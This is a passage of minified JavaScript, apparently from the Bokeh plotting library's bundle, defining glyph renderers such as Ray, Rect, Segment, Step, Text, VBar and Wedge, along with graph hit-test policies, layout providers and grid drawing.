n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.length.units?this.slength=this.sdist(this.renderer.xscale,this._x,this._length):this.slength=this._length},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.slength,s=i._angle;if(this.visuals.line.doit){for(var a=this.renderer.plot_view.frame._width.value,l=this.renderer.plot_view.frame._height.value,h=2*(a+l),u=0,c=o.length;u<c;u++)0==o[u]&&(o[u]=h);for(var _=0,p=e;_<p.length;_++){var u=p[_];isNaN(n[u]+r[u]+s[u]+o[u])||(t.translate(n[u],r[u]),t.rotate(s[u]),t.beginPath(),t.moveTo(0,0),t.lineTo(o[u],0),this.visuals.line.set_vectorize(t,u),t.stroke(),t.rotate(-s[u]),t.translate(-n[u],-r[u]))}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.RayView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ray\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({length:[s.DistanceSpec],angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Ray=l).initClass()},function(t,e,i){var n=t(391),r=t(119),o=t(143),T=t(9),s=t(15),A=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){var t,e;if(\\\"data\\\"==this.model.properties.width.units)t=this._map_dist_corner_for_data_side_length(this._x,this._width,this.renderer.xscale),this.sw=t[0],this.sx0=t[1];else{this.sw=this._width;var i=this.sx.length;this.sx0=new Float64Array(i);for(var n=0;n<i;n++)this.sx0[n]=this.sx[n]-this.sw[n]/2}if(\\\"data\\\"==this.model.properties.height.units)e=this._map_dist_corner_for_data_side_length(this._y,this._height,this.renderer.yscale),this.sh=e[0],this.sy1=e[1];else{this.sh=this._height;var r=this.sy.length;this.sy1=new Float64Array(r);for(var n=0;n<r;n++)this.sy1[n]=this.sy[n]-this.sh[n]/2}var o=this.sw.length;this.ssemi_diag=new Float64Array(o);for(var n=0;n<o;n++)this.ssemi_diag[n]=Math.sqrt(this.sw[n]/2*this.sw[n]/2+this.sh[n]/2*this.sh[n]/2)},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sx0,s=i.sy1,a=i.sw,l=i.sh,h=i._angle;if(this.visuals.fill.doit)for(var u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||(this.visuals.fill.set_vectorize(t,_),h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.fillRect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.fillRect(o[_],s[_],a[_],l[_]))}if(this.visuals.line.doit){t.beginPath();for(var p=0,d=e;p<d.length;p++){var _=d[p];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||0!=a[_]&&0!=l[_]&&(h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.rect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.rect(o[_],s[_],a[_],l[_]),this.visuals.line.set_vectorize(t,_),t.stroke(),t.beginPath())}t.stroke()}},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=[],s=0,a=this.sx0.length;s<a;s++)o.push(this.sx0[s]+this.sw[s]/2);for(var l=[],s=0,a=this.sy1.length;s<a;s++)l.push(this.sy1[s]+this.sh[s]/2);for(var h=A.max(this._ddist(0,o,this.ssemi_diag)),u=A.max(this._ddist(1,l,this.ssemi_diag)),c=n-h,_=n+h,p=r-u,d=r+u,f=[],v=T.validate_bbox_coords([c,_],[p,d]),m=0,g=this.index.indices(v);m<g.length;m++){var s=g[m],y=void 0,b=void 0;if(this._angle[s]){var x=Math.sin(-this._angle[s]),w=Math.cos(-this._angle[s]),k=w*(e-this.sx[s])-x*(i-this.sy[s])+this.sx[s],S=x*(e-this.sx[s])+w*(i-this.sy[s])+this.sy[s];e=k,i=S,b=Math.abs(this.sx[s]-e)<=this.sw[s]/2,y=Math.abs(this.sy[s]-i)<=this.sh[s]/2}else b=e-this.sx0[s]<=this.sw[s]&&0<=e-this.sx0[s],y=i-this.sy1[s]<=this.sh[s]&&0<=i-this.sy1[s];y&&b&&f.push(s)}var C=T.create_empty_hit_test_result();return C.indices=f,C},e.prototype._map_dist_corner_for_data_side_length=function(t,e,i){for(var n=t.length,r=new Float64Array(n),o=new Float64Array(n),s=0;s<n;s++)r[s]=Number(t[s])-e[s]/2,o[s]=Number(t[s])+e[s]/2;for(var a=i.v_compute(r),l=i.v_compute(o),h=this.sdist(i,r,e,\\\"edge\\\",this.model.dilate),u=a,s=0,c=a.length;s<c;s++)if(a[s]!=l[s]){u=a[s]<l[s]?a:l;break}return[h,u]},e.prototype._ddist=function(t,e,i){for(var n=0==t?this.renderer.xscale:this.renderer.yscale,r=e,o=r.length,s=new Float64Array(o),a=0;a<o;a++)s[a]=r[a]+i[a];for(var l=n.v_invert(r),h=n.v_invert(s),u=l.length,c=new Float64Array(u),a=0;a<u;a++)c[a]=Math.abs(h[a]-l[a]);return c},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.RectView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Rect\\\",this.prototype.default_view=a,this.define({dilate:[s.Bool,!1]})},t}(r.CenterRotatable);(i.Rect=l).initClass()},function(t,e,i){var n=t(391),k=t(9),a=t(37),r=t(123),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++){var n=this._x0[e],r=this._x1[e],o=this._y0[e],s=this._y1[e];isNaN(n+r+o+s)||t.push({minX:Math.min(n,r),minY:Math.min(o,s),maxX:Math.max(n,r),maxY:Math.max(o,s),i:e})}return new a.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1;if(this.visuals.line.doit)for(var a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+r[h]+o[h]+s[h])||(t.beginPath(),t.moveTo(n[h],r[h]),t.lineTo(o[h],s[h]),this.visuals.line.set_vectorize(t,h),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n={x:e,y:i},r=[],o=this.renderer.xscale.r_invert(e-2,e+2),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(i-2,i+2),h=l[0],u=l[1],c=this.index.indices({minX:s,minY:h,maxX:a,maxY:u}),_=0,p=c;_<p.length;_++){var d=p[_],f=Math.pow(Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",d)/2),2),v={x:this.sx0[d],y:this.sy0[d]},m={x:this.sx1[d],y:this.sy1[d]},g=k.dist_to_segment_squared(n,v,m);g<f&&r.push(d)}var y=k.create_empty_hit_test_result();return y.indices=r,y},e.prototype._hit_span=function(t){var e,i,n,r,o,s=this.renderer.plot_view.frame.bbox.ranges,a=s[0],l=s[1],h=t.sx,u=t.sy;\\\"v\\\"==t.direction?(o=this.renderer.yscale.invert(u),e=[this._y0,this._y1],n=e[0],r=e[1]):(o=this.renderer.xscale.invert(h),i=[this._x0,this._x1],n=i[0],r=i[1]);for(var c=[],_=this.renderer.xscale.r_invert(a.start,a.end),p=_[0],d=_[1],f=this.renderer.yscale.r_invert(l.start,l.end),v=f[0],m=f[1],g=this.index.indices({minX:p,minY:v,maxX:d,maxY:m}),y=0,b=g;y<b.length;y++){var x=b[y];(n[x]<=o&&o<=r[x]||r[x]<=o&&o<=n[x])&&c.push(x)}var w=k.create_empty_hit_test_result();return w.indices=c,w},e.prototype.scenterx=function(t){return(this.sx0[t]+this.sx1[t])/2},e.prototype.scentery=function(t){return(this.sy0[t]+this.sy1[t])/2},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.SegmentView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Segment\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Segment=l).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n,r,o,s,a,l,h=i.sx,u=i.sy,c=!1,_=null;this.visuals.line.set_value(t);var p=e.length;if(!(p<2)){t.beginPath(),t.moveTo(h[0],u[0]);for(var d=0,f=e;d<f.length;d++){var v=f[d],m=void 0,g=void 0,y=void 0,b=void 0;switch(this.model.mode){case\\\"before\\\":n=[h[v-1],u[v]],m=n[0],y=n[1],r=[h[v],u[v]],g=r[0],b=r[1];break;case\\\"after\\\":o=[h[v],u[v-1]],m=o[0],y=o[1],s=[h[v],u[v]],g=s[0],b=s[1];break;case\\\"center\\\":var x=(h[v-1]+h[v])/2;a=[x,u[v-1]],m=a[0],y=a[1],l=[x,u[v]],g=l[0],b=l[1];break;default:throw new Error(\\\"unexpected\\\")}if(c){if(!isFinite(h[v]+u[v])){t.stroke(),t.beginPath(),c=!1,_=v;continue}null!=_&&1<v-_&&(t.stroke(),c=!1)}c?(t.lineTo(m,y),t.lineTo(g,b)):(t.beginPath(),t.moveTo(h[v],u[v]),c=!0),_=v}t.lineTo(h[p-1],u[p-1]),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.StepView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Step\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({mode:[s.StepMode,\\\"before\\\"]})},t}(r.XYGlyph);(i.Step=l).initClass()},function(t,e,i){var n=t(391),r=t(146),d=t(9),o=t(15),O=t(41),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._rotate_point=function(t,e,i,n,r){var o=(t-i)*Math.cos(r)-(e-n)*Math.sin(r)+i,s=(t-i)*Math.sin(r)+(e-n)*Math.cos(r)+n;return[o,s]},e.prototype._text_bounds=function(t,e,i,n){var r=[t,t+i,t+i,t,t],o=[e,e,e-n,e-n,e];return[r,o]},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i._x_offset,s=i._y_offset,a=i._angle,l=i._text;this._sys=[],this._sxs=[];for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(n[c]+r[c]+o[c]+s[c]+a[c])&&null!=l[c]&&(this._sxs[c]=[],this._sys[c]=[],this.visuals.text.doit)){var _=\\\"\\\"+l[c];t.save(),t.translate(n[c]+o[c],r[c]+s[c]),t.rotate(a[c]),this.visuals.text.set_vectorize(t,c);var p=this.visuals.text.cache_select(\\\"font\\\",c),d=O.get_text_height(p).height,f=this.visuals.text.text_line_height.value()*d;if(-1==_.indexOf(\\\"\\\\n\\\")){t.fillText(_,0,0);var v=n[c]+o[c],m=r[c]+s[c],g=t.measureText(_).width,y=this._text_bounds(v,m,g,f),b=y[0],x=y[1];this._sxs[c].push(b),this._sys[c].push(x)}else{var w=_.split(\\\"\\\\n\\\"),k=f*w.length,S=this.visuals.text.cache_select(\\\"text_baseline\\\",c),C=void 0;switch(S){case\\\"top\\\":C=0;break;case\\\"middle\\\":C=-k/2+f/2;break;case\\\"bottom\\\":C=-k+f;break;default:C=0,console.warn(\\\"'\\\"+S+\\\"' baseline not supported with multi line text\\\")}for(var T=0,A=w;T<A.length;T++){var E=A[T];t.fillText(E,0,C);var v=n[c]+o[c],m=C+r[c]+s[c],g=t.measureText(E).width,M=this._text_bounds(v,m,g,f),b=M[0],x=M[1];this._sxs[c].push(b),this._sys[c].push(x),C+=f}}t.restore()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=[],r=0;r<this._sxs.length;r++)for(var o=this._sxs[r],s=this._sys[r],a=o.length,l=0,h=a;l<h;l++){var u=this._rotate_point(e,i,o[a-1][0],s[a-1][0],-this._angle[r]),c=u[0],_=u[1];d.point_in_poly(c,_,o[l],s[l])&&n.push(r)}var p=d.create_empty_hit_test_result();return p.indices=n,p},e.prototype._scenterxy=function(t){var e=this._sxs[t][0][0],i=this._sys[t][0][0],n=(this._sxs[t][0][2]+e)/2,r=(this._sys[t][0][2]+i)/2,o=this._rotate_point(n,r,e,i,this._angle[t]),s=o[0],a=o[1];return{x:s,y:a}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.TextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Text\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\"]),this.define({text:[o.StringSpec,{field:\\\"text\\\"}],angle:[o.AngleSpec,0],x_offset:[o.NumberSpec,0],y_offset:[o.NumberSpec,0]})},t}(r.XYGlyph);(i.Text=a).initClass()},function(t,e,i){var x=t(9);i.generic_line_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1;e.save(),e.beginPath(),e.moveTo(r,(s+a)/2),e.lineTo(o,(s+a)/2),t.line.doit&&(t.line.set_vectorize(e,n),e.stroke()),e.restore()},i.generic_area_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1,l=.1*Math.abs(o-r),h=.1*Math.abs(a-s),u=r+l,c=o-l,_=s+h,p=a-h;t.fill.doit&&(t.fill.set_vectorize(e,n),e.fillRect(u,_,c-u,p-_)),t.line.doit&&(e.beginPath(),e.rect(u,_,c-u,p-_),t.line.set_vectorize(e,n),e.stroke())},i.line_interpolation=function(t,e,i,n,r,o){var s,a,l,h,u,c,_,p,d,f,v=e.sx,m=e.sy;\\\"point\\\"==e.type?(s=t.yscale.r_invert(m-1,m+1),d=s[0],f=s[1],a=t.xscale.r_invert(v-1,v+1),_=a[0],p=a[1]):\\\"v\\\"==e.direction?(l=t.yscale.r_invert(m,m),d=l[0],f=l[1],h=[Math.min(i-1,r-1),Math.max(i+1,r+1)],_=h[0],p=h[1]):(u=t.xscale.r_invert(v,v),_=u[0],p=u[1],c=[Math.min(n-1,o-1),Math.max(n+1,o+1)],d=c[0],f=c[1]);var g=x.check_2_segments_intersect(_,d,p,f,i,n,r,o),y=g.x,b=g.y;return[y,b]}},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._x.length)},e.prototype._lrtb=function(t){var e=this._x[t]-this._width[t]/2,i=this._x[t]+this._width[t]/2,n=Math.max(this._top[t],this._bottom[t]),r=Math.min(this._top[t],this._bottom[t]);return[e,i,n,r]},e.prototype._map_data=function(){this.sx=this.renderer.xscale.v_compute(this._x),this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"),this.stop=this.renderer.yscale.v_compute(this._top),this.sbottom=this.renderer.yscale.v_compute(this._bottom);var t=this.sx.length;this.sleft=new Float64Array(t),this.sright=new Float64Array(t);for(var e=0;e<t;e++)this.sleft[e]=this.sx[e]-this.sw[e]/2,this.sright[e]=this.sx[e]+this.sw[e]/2;this._clamp_viewport()},e}(r.BoxView);i.VBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VBar\\\",this.prototype.default_view=s,this.coords([[\\\"x\\\",\\\"bottom\\\"]]),this.define({width:[o.DistanceSpec],top:[o.NumberSpec]}),this.override({bottom:0})},t}(r.Box);(i.VBar=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),P=t(9),s=t(15),j=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle,l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),t.lineTo(n[c],r[c]),t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,c),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,c),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f),g=2*this.max_radius;\\\"data\\\"===this.model.properties.radius.units?(u=v-g,c=v+g,_=m-g,p=m+g):(s=d-g,a=d+g,e=this.renderer.xscale.r_invert(s,a),u=e[0],c=e[1],l=f-g,h=f+g,i=this.renderer.yscale.r_invert(l,h),_=i[0],p=i[1]);for(var y=[],b=P.validate_bbox_coords([u,c],[_,p]),x=0,w=this.index.indices(b);x<w.length;x++){var k=w[x],S=Math.pow(this.sradius[k],2);n=this.renderer.xscale.r_compute(v,this._x[k]),s=n[0],a=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),l=r[0],h=r[1],(o=Math.pow(s-a,2)+Math.pow(l-h,2))<=S&&y.push([k,o])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=y;A<E.length;A++){var M=E[A],k=M[0],O=M[1],z=Math.atan2(f-this.sy[k],d-this.sx[k]);j.angle_between(-z,-this._start_angle[k],-this._end_angle[k],C)&&T.push([k,O])}return P.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=this.sradius[t]/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.WedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Wedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Wedge=l).initClass()},function(t,e,i){var n=t(391),o=t(37),r=t(123),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._x[e],r=this._y[e];!isNaN(n+r)&&isFinite(n+r)&&t.push({minX:n,minY:r,maxX:n,maxY:r,i:e})}return new o.SpatialIndex(t)},e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e}(r.GlyphView);i.XYGlyphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"XYGlyph\\\",this.coords([[\\\"x\\\",\\\"y\\\"]])},t}(r.Glyph);(i.XYGlyph=a).initClass()},function(t,e,i){var n=t(391),r=t(59),u=t(22),c=t(21),_=t(9),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphHitTestPolicy\\\"},t.prototype._hit_test_nodes=function(t,e){if(!e.model.visible)return null;var i=e.node_view.glyph.hit_test(t);return null==i?null:e.node_view.model.view.convert_selection_from_subset(i)},t.prototype._hit_test_edges=function(t,e){if(!e.model.visible)return null;var i=e.edge_view.glyph.hit_test(t);return null==i?null:e.edge_view.model.view.convert_selection_from_subset(i)},t}(r.Model),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesOnly\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;return r.update(t,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.model.get_selection_manager().get_or_create_inspector(i.node_view.model);return o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(i.GraphHitTestPolicy=o);(i.NodesOnly=s).initClass();var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesAndLinkedEdges\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.get_linked_edges=function(e,t,i){var n=[];\\\"selection\\\"==i?n=e.selected.indices.map(function(t){return e.data.index[t]}):\\\"inspection\\\"==i&&(n=e.inspected.indices.map(function(t){return e.data.index[t]}));for(var r=[],o=0;o<t.data.start.length;o++)(c.contains(n,t.data.start[o])||c.contains(n,t.data.end[o]))&&r.push(o);for(var s=_.create_empty_hit_test_result(),a=0,l=r;a<l.length;a++){var o=l[a];s.multiline_indices[o]=[0]}return s.indices=r,s},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;r.update(t,i,n);var o=e.edge_renderer.data_source.selected,s=this.get_linked_edges(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model);o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model),a=this.get_linked_edges(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.edge_view.model.data_source.setv({inspected:s},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(o);(i.NodesAndLinkedEdges=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EdgesAndLinkedNodes\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_edges(t,e)},t.prototype.get_linked_nodes=function(e,t,i){var n=[];\\\"selection\\\"==i?n=t.selected.indices:\\\"inspection\\\"==i&&(n=t.inspected.indices);for(var r=[],o=0,s=n;o<s.length;o++){var a=s[o];r.push(t.data.start[a]),r.push(t.data.end[a])}var l=c.uniq(r).map(function(t){return u.indexOf(e.data.index,t)}),h=_.create_empty_hit_test_result();return h.indices=l,h},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.edge_renderer.data_source.selected;r.update(t,i,n);var o=e.node_renderer.data_source.selected,s=this.get_linked_nodes(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.edge_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model);o.update(t,n,r),i.edge_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model),a=this.get_linked_nodes(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.node_view.model.data_source.setv({inspected:s},{silent:!0}),i.edge_view.model.data_source.inspect.emit([i.edge_view,{geometry:e}]),!o.is_empty()},t}(o);(i.EdgesAndLinkedNodes=l).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(147),i),n.__exportStar(t(149),i),n.__exportStar(t(150),i)},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutProvider\\\"},t}(r.Model);(i.LayoutProvider=o).initClass()},function(t,e,i){var n=t(391),r=t(149),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StaticLayoutProvider\\\",this.define({graph_layout:[o.Any,{}]})},t.prototype.get_node_coordinates=function(t){for(var e=[],i=[],n=t.data.index,r=0,o=n.length;r<o;r++){var s=this.graph_layout[n[r]],a=null!=s?s:[NaN,NaN],l=a[0],h=a[1];e.push(l),i.push(h)}return[e,i]},t.prototype.get_edge_coordinates=function(t){for(var e,i,n=[],r=[],o=t.data.start,s=t.data.end,a=null!=t.data.xs&&null!=t.data.ys,l=0,h=o.length;l<h;l++){var u=null!=this.graph_layout[o[l]]&&null!=this.graph_layout[s[l]];if(a&&u)n.push(t.data.xs[l]),r.push(t.data.ys[l]);else{var c=void 0,_=void 0;u?(e=[this.graph_layout[o[l]],this.graph_layout[s[l]]],_=e[0],c=e[1]):(_=(i=[[NaN,NaN],[NaN,NaN]])[0],c=i[1]),n.push([_[0],c[0]]),r.push([_[1],c[1]])}}return[n,r]},t}(r.LayoutProvider);(i.StaticLayoutProvider=s).initClass()},function(t,e,i){var n=t(391),h=t(79),r=t(187),o=t(15),u=t(44),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),Object.defineProperty(t.prototype,\\\"_x_range_name\\\",{get:function(){return this.model.x_range_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"_y_range_name\\\",{get:function(){return this.model.y_range_name},enumerable:!0,configurable:!0}),t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save(),this._draw_regions(t),this._draw_minor_grids(t),this._draw_grids(t),t.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype._draw_regions=function(t){if(this.visuals.band_fill.doit){var e=this.model.grid_coords(\\\"major\\\",!1),i=e[0],n=e[1];this.visuals.band_fill.set_value(t);for(var r=0;r<i.length-1;r++)if(r%2==1){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1],l=this.plot_view.map_to_screen(i[r+1],n[r+1],this._x_range_name,this._y_range_name),h=l[0],u=l[1];t.fillRect(s[0],a[0],h[1]-s[0],u[1]-a[0]),t.fill()}}},t.prototype._draw_grids=function(t){if(this.visuals.grid_line.doit){var e=this.model.grid_coords(\\\"major\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.grid_line,i,n)}},t.prototype._draw_minor_grids=function(t){if(this.visuals.minor_grid_line.doit){var e=this.model.grid_coords(\\\"minor\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.minor_grid_line,i,n)}},t.prototype._draw_grid_helper=function(t,e,i,n){e.set_value(t);for(var r=0;r<i.length;r++){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1];t.beginPath(),t.moveTo(Math.round(s[0]),Math.round(a[0]));for(var l=1;l<s.length;l++)t.lineTo(Math.round(s[l]),Math.round(a[l]));t.stroke()}},t}(r.GuideRendererView);i.GridView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Grid\\\",this.prototype.default_view=s,this.mixins([\\\"line:grid_\\\",\\\"line:minor_grid_\\\",\\\"fill:band_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],dimension:[o.Number,0],ticker:[o.Instance],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\",band_fill_color:null,band_fill_alpha:0,grid_line_color:\\\"#e5e5e5\\\",minor_grid_line_color:null})},t.prototype.ranges=function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},t.prototype.computed_bounds=function(){var t,e,i,n=this.ranges()[0],r=this.bounds,o=[n.min,n.max];if(u.isArray(r))e=Math.min(r[0],r[1]),i=Math.max(r[0],r[1]),e<o[0]&&(e=o[0]),o[1]<i&&(i=o[1]);else{e=o[0],i=o[1];for(var s=0,a=this.plot.select(h.Axis);s<a.length;s++){var l=a[s];l.dimension==this.dimension&&l.x_range_name==this.x_range_name&&l.y_range_name==this.y_range_name&&(t=l.computed_bounds,e=t[0],i=t[1])}}return[e,i]},t.prototype.grid_coords=function(t,e){var i;void 0===e&&(e=!0);var 